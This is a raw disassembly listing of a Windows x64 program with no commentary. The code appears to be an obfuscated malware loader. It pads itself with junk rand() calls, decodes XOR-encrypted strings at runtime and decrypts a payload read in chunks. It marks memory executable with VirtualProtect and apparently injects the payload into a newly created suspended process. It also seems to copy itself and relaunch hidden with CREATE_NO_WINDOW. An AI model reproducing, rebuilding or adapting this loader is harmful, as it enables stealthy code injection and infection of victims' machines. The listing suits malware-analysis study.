mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rdi
mov r8d, 0x40
lea r9, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x89
je 0x1400033f0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xae
je 0x140003400
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r8d, dword [r13 + 8]
mov edx, dword [r13 + 0xc]
lea rcx, [rdx + rdi]
add rdx, qword [rbp + 0xc60]
call sub.msvcrt.dll_memcpy
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rdi
mov r8d, dword [rbp + 0x3d0]
lea r9, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x44
je 0x140003470
jmp 0x140003310
mov rcx, qword [rbp + 0xcc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x79
je 0x140003490
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xcd8]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xcd0]
call rsi
mov r13, qword [rbp + 0xc68]
mov r15, qword [rbp + 0xca8]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2a
je 0x140003500
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xcc0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push rax
pop rcx
nop
call fcn.140001ee0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x14
je 0x140003560
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xab
je 0x140003580
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push rax
pop rcx
nop
call fcn.140001b60
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8e
je 0x1400035b0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push rax
pop rcx
nop
call fcn.1400017e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x9a
je 0x1400035e0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x31
je 0x1400035f0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x34
je 0x140003620
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x63
je 0x140003630
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x48
je 0x140003640
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x45
je 0x140003650
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov r14d, 0x31
mov ecx, 0x9a
cmove ecx, r14d
mov ebx, 0x9a
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c250]
movd dword [rax], xmm0
movdqa xmmword [rbp + 0xb70], xmm0
movzx edx, byte [rbp + 0xb71]
mov byte [rax + 4], dl
mov r8d, ecx
xor r8b, 0xfb
mov byte [rax + 5], r8b
mov r8d, ecx
xor r8b, 0xfe
mov byte [rax + 6], r8b
mov byte [rax + 7], dl
xor cl, 0xe8
mov byte [rax + 8], cl
mov byte [rax + 9], 0
mov dword [rsp + 0x20], 0
nop
push rax
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0xcb0]
push rax
nop
pop rsi
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or edi, edi
cmove ebx, r14d
mov ecx, ebx
xor cl, 0xf2
mov byte [rax], cl
mov ecx, ebx
xor cl, 0xee
mov byte [rax + 1], cl
mov byte [rax + 2], cl
movd xmm0, ebx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c260]
pxor xmm1, xmm0
pxor xmm2, xmm2
movdqa xmm3, xmm1
punpcklbw xmm3, xmm2
pshufhw xmm2, xmm3, 0x6c
pshufd xmm2, xmm2, 0x2e
pshuflw xmm2, xmm2, 0x73
pshufhw xmm2, xmm2, 7
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xec
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xa4
pshufhw xmm3, xmm3, 0x93
packuswb xmm3, xmm2
movdqu xmmword [rax + 3], xmm3
movdqa xmmword [rbp + 0xd20], xmm1
movzx ecx, byte [rbp + 0xd24]
mov byte [rax + 0x13], cl
movzx ecx, byte [rbp + 0xd20]
movzx edx, byte [rbp + 0xd22]
mov byte [rax + 0x14], dl
mov byte [rax + 0x15], cl
pxor xmm0, xmmword [0x14000c270]
movd dword [rax + 0x16], xmm0
movdqa xmmword [rbp + 0xb60], xmm0
movzx ecx, byte [rbp + 0xb60]
mov byte [rax + 0x1a], cl
mov ecx, ebx
xor cl, 0xfe
mov byte [rax + 0x1b], cl
movzx ecx, byte [rbp + 0xd25]
mov byte [rax + 0x1c], cl
mov ecx, ebx
xor cl, 0xf8
mov byte [rax + 0x1d], cl
mov ecx, ebx
xor cl, 0xf3
mov byte [rax + 0x1e], cl
xor bl, 0xf4
mov byte [rax + 0x1f], bl
mov byte [rax + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
push rsi
pop rcx
nop
push rax
pop rdx
nop
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0xcb8]
push rax
nop
pop rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xec
je 0x140003810
lea rdx, [rbp + 0x3d0]
lea r9, [rbp + 0xd4c]
push rsi
pop rcx
nop
mov r8d, 0x400
call r15
sub edi, edi
or eax, eax
je 0x140003915
cmp dword [rbp + 0xd4c], 0
mov r12d, 0
je 0x140003918
xor r12d, r12d
lea rbx, [rbp + 0x3d0]
lea r14, [rbp + 0xd4c]
sub edi, edi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xd4c]
add edx, r12d
nop
push rdi
pop rcx
call sub.msvcrt.dll_realloc
nop
push rax
pop rdi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xed
je 0x1400038a0
movsxd rax, r12d
push rdi
nop
pop rcx
add rcx, rax
mov r8d, dword [rbp + 0xd4c]
push rbx
pop rdx
nop
call sub.msvcrt.dll_memcpy
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa
je 0x1400038d0
add r12d, dword [rbp + 0xd4c]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
push rsi
pop rcx
nop
nop
push rbx
pop rdx
mov r8d, 0x400
mov r9, r14
call r15
or eax, eax
je 0x140003918
cmp dword [rbp + 0xd4c], 0
jne 0x140003870
jmp 0x140003918
xor r12d, r12d
movsxd rsi, r12d
nop
push rsi
pop rcx
call sub.msvcrt.dll_malloc
mov r15, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
or esi, esi
je 0x140003aa7
or eax, eax
mov ecx, 0x31
mov eax, 0x9a
cmove eax, ecx
sub ecx, ecx
cmp r12d, 8
jb 0x140003a3e
mov rdx, r15
sub rdx, rdi
cmp rdx, 0x20
jb 0x140003a3e
movzx edx, al
cmp r12d, 0x20
jae 0x140003998
sub ecx, ecx
jmp 0x1400039fa
push rsi
nop
pop rcx
and rcx, 0xffffffffffffffe0
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
sub r8d, r8d
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rdi + r8]
movdqu xmm2, xmmword [rdi + r8 + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [r15 + r8], xmm1
movdqu xmmword [r15 + r8 + 0x10], xmm2
add r8, 0x20
cmp rcx, r8
jne 0x1400039c0
cmp rcx, rsi
je 0x140003aa7
test sil, 0x18
je 0x140003a3e
mov r8, rcx
push rsi
pop rcx
nop
and rcx, 0xfffffffffffffff8
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
nop word cs:[rax + rax]
movq xmm1, qword [rdi + r8]
pxor xmm1, xmm0
movq qword [r15 + r8], xmm1
add r8, 8
cmp rcx, r8
jne 0x140003a20
cmp rcx, rsi
je 0x140003aa7
push rcx
pop rdx
nop
not rdx
add rdx, rsi
mov r8, rsi
and r8, 3
je 0x140003a64
movzx r9d, byte [rdi + rcx]
xor r9b, al
mov byte [r15 + rcx], r9b
inc rcx
dec r8
jne 0x140003a50
cmp rdx, 3
jb 0x140003aa7
nop word [rax + rax]
movzx edx, byte [rdi + rcx]
xor dl, al
mov byte [r15 + rcx], dl
movzx edx, byte [rdi + rcx + 1]
xor dl, al
mov byte [r15 + rcx + 1], dl
movzx edx, byte [rdi + rcx + 2]
xor dl, al
mov byte [r15 + rcx + 2], dl
movzx edx, byte [rdi + rcx + 3]
xor dl, al
mov byte [r15 + rcx + 3], dl
add rcx, 4
cmp rsi, rcx
jne 0x140003a70
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rbp + 0xd48], 0
lea r9, [rbp + 0xd48]
mov rcx, r15
push rsi
nop
pop rdx
mov r8d, 0x40
call qword [rbp + 0xca0]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5b
je 0x140003ae0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xa40], xmm0
movdqa xmmword [rbp + 0xa30], xmm0
movdqa xmmword [rbp + 0xa20], xmm0
movdqa xmmword [rbp + 0xa10], xmm0
movdqa xmmword [rbp + 0xa00], xmm0
movdqa xmmword [rbp + 0x9f0], xmm0
mov qword [rbp + 0xa50], 0
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x68
je 0x140003b40
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm6, xmm6
movdqa xmmword [rbp + 0xd30], xmm6
mov qword [rbp + 0xd40], 0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x1a
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
mov edx, ecx
xor dl, 0xd9
mov byte [rax], dl
mov edx, ecx
xor dl, 0xa0
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c280]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0xc20], xmm0
movzx edx, byte [rbp + 0xc20]
movzx r8d, byte [rbp + 0xc25]
mov byte [rax + 2], dl
movq qword [rax + 3], xmm0
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
mov edx, ecx
not dl
mov byte [rax + 0xd], dl
mov r9d, ecx
xor r9b, 0xe2
mov byte [rax + 0xe], r9b
mov r10d, ecx
xor r10b, 0xea
mov byte [rax + 0xf], r10b
mov r10d, ecx
xor r10b, 0xf6
mov byte [rax + 0x10], r10b
mov byte [rax + 0x11], r8b
mov r8d, ecx
xor r8b, 0xe8
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], dl
mov byte [rax + 0x14], r8b
xor cl, 0xb4
mov byte [rax + 0x15], cl
mov byte [rax + 0x16], dl
mov byte [rax + 0x17], r9b
mov byte [rax + 0x18], dl
mov byte [rax + 0x19], 0
lea rcx, [rbp + 0xd30]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x9f0]
mov qword [rsp + 0x40], rcx
movdqu xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
nop
push rax
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call r13
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xca
je 0x140003c90
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rbx, qword [rbp + 0xd30]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x94
je 0x140003cd0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rdi, qword [rbp + 0xd38]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 5
je 0x140003d00
mov rcx, qword [rbp + 0xd30]
call fcn.140001ee0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xd30]
call fcn.140001b60
nop
call sub.msvcrt.dll_rand
cmp eax, 0xbc
je 0x140003d50
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xd30]
call fcn.1400017e0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc4
je 0x140003d80
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8e
je 0x140003d90
call sub.msvcrt.dll_rand
mov r12d, eax
mov ecx, 4
call sub.msvcrt.dll_malloc
mov r14, rax
test r12d, r12d
mov eax, 0x85
mov ecx, 0x2e
cmove ecx, eax
mov byte [r14], cl
mov byte [r14 + 1], cl
mov byte [r14 + 2], cl
mov byte [r14 + 3], 0
call sub.msvcrt.dll_rand
mov r12d, eax
mov ecx, 0x10
call sub.msvcrt.dll_malloc
test r12d, r12d
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
mov ecx, edx
mov r8d, edx
movd xmm0, edx
xor dl, 0xdb
mov byte [rax], dl
xor cl, 0xf8
mov byte [rax + 1], cl
xor r8b, 0xef
mov byte [rax + 3], r8b
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c290]
movdqa xmmword [rbp + 0xd10], xmm0
movzx ecx, byte [rbp + 0xd10]
movzx edx, byte [rbp + 0xd11]
mov byte [rax + 2], dl
mov byte [rax + 4], cl
movzx edx, byte [rbp + 0xd12]
mov byte [rax + 5], dl
movq qword [rax + 6], xmm0
mov byte [rax + 0xe], cl
mov byte [rax + 0xf], 0
sub ecx, ecx
mov rdx, r14
mov r8, rax
sub r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxA]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rsp + 0x20], 0x40
push rbx
pop rcx
nop
sub edx, edx
mov r8, rsi
mov r9d, 0x1000
call qword [rbp + 0xc80]
mov r14, rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 3
je 0x140003ea0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7d
je 0x140003ed0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7d
je 0x140003ee0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x96
je 0x140003ef0
mov qword [rsp + 0x20], 0
push rbx
nop
pop rcx
mov rdx, r14
mov r8, r15
mov r9, rsi
call qword [rbp + 0xc88]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, r14
nop
push rdi
pop rdx
sub r8d, r8d
call qword [rbp + 0xc90]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd3
je 0x140003f50
push rdi
nop
pop rcx
call qword [rbp + 0xc98]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xed
je 0x140003f70
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x83
je 0x140003fa0
lea rdx, [rbp + 0x7d0]
sub ecx, ecx
mov r8d, 0x104
call qword [rbp + 0xc70]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0xfe
je 0x140003fe0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 7
je 0x140003ff0
lea rdx, [rbp + 0x8e0]
mov ecx, 0x104
call qword [rbp + 0xc78]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd6
je 0x140004020
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x64
je 0x140004030
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c2a0]
movdqa xmmword [rbp + 0xc30], xmm0
movzx ecx, byte [rbp + 0xc34]
movzx r8d, byte [rbp + 0xc37]
mov byte [rax], cl
movq qword [rax + 1], xmm0
xor dl, 0xe2
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov byte [rax + 0xb], 0
lea rsi, [rbp + 0x8e0]
push rsi
pop rcx
nop
push rax
pop rdx
nop
call sub.msvcrt.dll_strcat
lea rdx, [rbp + 0x7d0]
push rsi
pop rcx
nop
call sub.msvcrt.dll_strstr
or rax, rax
jne 0x140004410
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rcx, [rbp + 0x7d0]
lea rdx, [rbp + 0x8e0]
sub r8d, r8d
call qword [rbp + 0xce8]
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb5
je 0x1400040f0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x36
je 0x140004120
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x53
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm1, xmm0, 0
pshufd xmm1, xmm1, 0
movdqa xmm2, xmmword [0x14000c2b0]
pxor xmm2, xmm1
movdqu xmmword [rax], xmm2
movdqa xmm2, xmmword [0x14000c2c0]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x10], xmm2
movdqa xmm2, xmmword [0x14000c2d0]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x20], xmm2
movdqa xmm2, xmmword [0x14000c2e0]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x30], xmm2
pxor xmm1, xmmword [0x14000c2f0]
pxor xmm0, xmmword [0x14000c300]
movdqu xmmword [rax + 0x40], xmm1
movd ecx, xmm0
mov word [rax + 0x50], cx
mov byte [rax + 0x52], 0
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x8e0]
nop
push rax
pop rdx
call fcn.140004430
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x9f
je 0x140004210
mov rsi, qword [rbp + 0xce0]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb1
je 0x140004230
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x98
je 0x140004270
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xab0], xmm0
movdqa xmmword [rbp + 0xaa0], xmm0
movdqa xmmword [rbp + 0xa90], xmm0
movdqa xmmword [rbp + 0xa80], xmm0
movdqa xmmword [rbp + 0xa70], xmm0
movdqa xmmword [rbp + 0xa60], xmm0
mov qword [rbp + 0xac0], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x26
je 0x1400042e0
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xc40], xmm0
mov qword [rbp + 0xc50], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x82
je 0x140004310
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x3e
je 0x140004330
mov dword [rbp + 0xa60], 0x68
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x99
je 0x140004350
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x74
je 0x140004360
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa60]
mov qword [rsp + 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
lea rdx, [rbp - 0x30]
sub ecx, ecx
sub r8d, r8d
sub r9d, r9d
call r13
mov rcx, qword [rbp + 0xc40]
call rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x56
je 0x1400043d0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xc48]
call rsi
sub eax, eax
movaps xmm6, xmmword [rbp + 0xd50]
add rsp, 0xde8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret